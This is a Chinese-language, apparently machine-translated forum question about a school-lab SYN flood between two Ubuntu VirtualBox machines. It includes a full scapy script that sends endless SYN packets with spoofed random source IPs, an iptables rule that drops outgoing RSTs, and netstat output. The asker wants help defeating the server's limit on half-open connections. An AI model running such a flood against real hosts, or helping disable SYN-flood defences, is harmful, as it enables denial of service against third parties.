Networking Ubuntu服务器限制为5个SYN_RECV

Networking Ubuntu服务器限制为5个SYN_RECV,networking,tcp,scapy,netstat,ddos,Networking,Tcp,Scapy,Netstat,Ddos,对于一个学校项目,我正在尝试在Ubuntu服务器(18.04)上使用带有scapy的Ubuntu桌面18.04执行DOS。它们都作为虚拟机放在VirtualBox上。 在服务器端,我在端口80上有一个python SimpleHTTPServer,桌面机器可以通过浏览器ping和访问它。 我正在尝试使用以下代码对其进行定量: #!/usr/bin/env python import socket, random, sys from scapy.all import * def sendSYN(t

对于一个学校项目,我正在尝试在Ubuntu服务器(18.04)上使用带有scapy的Ubuntu桌面18.04执行DOS。它们都作为虚拟机放在VirtualBox上。 在服务器端,我在端口80上有一个python SimpleHTTPServer,桌面机器可以通过浏览器ping和访问它。 我正在尝试使用以下代码对其进行定量:

#!/usr/bin/env python
import socket, random, sys
from scapy.all import *
def sendSYN(target, port):
    #creating packet
    # insert IP header fields
    tcp = TCP()
    ip = IP()
    #set source IP as random valid IP
    ip.src = "%i.%i.%i.%i" % (random.randint(1,254), random.randint(1,254), random.randint(1,254), random.randint(1,254))
    ip.dst = target
    # insert TCP header fields
    tcp = TCP()
    #set source port as random valid port
    tcp.sport = random.randint(1,65535)
    tcp.dport = port
    #set SYN flag
    tcp.flags = 'S'
    send(ip/tcp)
    return ;
#control arguments
if len(sys.argv) != 3:
    print("Few argument: %s miss IP or miss PORT" % sys.argv[0])
    sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
count = 0
print("Launch SYNFLOOD attack at %s:%i with SYN packets." % (target, port))
while 1:
    #call SYNFlood attack
    sendSYN(target,port)
    count += 1
    print("Total packets sent: %i" % count)
    print("==========================================")
这基本上是在用户指定的端口上向目标机器发送无限多的SYN请求。它的用法是:
sudopythondos.py
。 在启动之前,我会在攻击机器上执行
sudo iptables-A OUTPUT-p tcp-s RST-j DROP
,以防止内核发送RST请求。 攻击似乎有效:在攻击者机器上的wireshark上,我可以看到数据包被正确发送,但服务器没有停机。 在目标服务器上运行
netstat-antp | grep80
,我获得以下输出:

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 192.168.1.51:80         35.206.32.111:50544     SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         138.221.76.4:24171      SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         164.253.235.187:64186   SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         55.107.244.119:17977    SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         85.158.134.238:37513    SYN_RECV    -                   
如果我在几秒钟后重新运行命令:

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 192.168.1.51:80         100.58.218.121:10306    SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         35.206.32.111:50544     SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         47.206.177.213:39759    SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         55.107.244.119:17977    SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         85.158.134.238:37513    SYN_RECV    -                   
看起来服务器最多可以处理5个SYN_RECV,尽管我在攻击者的机器上执行了数百个这样的请求,所以我认为这就是为什么我不能DOS服务器的原因。ufw已禁用。我的目标是禁用或了解服务器上发生的情况,并禁用它以执行DOS攻击。 感谢您的帮助,提前谢谢

更新:我在目标服务器上安装了tshark,从中我可以看到我发送的所有数据包都在服务器上接收,因此它们在两个虚拟机之间的通信中不会丢失。同时运行
netstat-i
我可以看到没有
RX\u DROP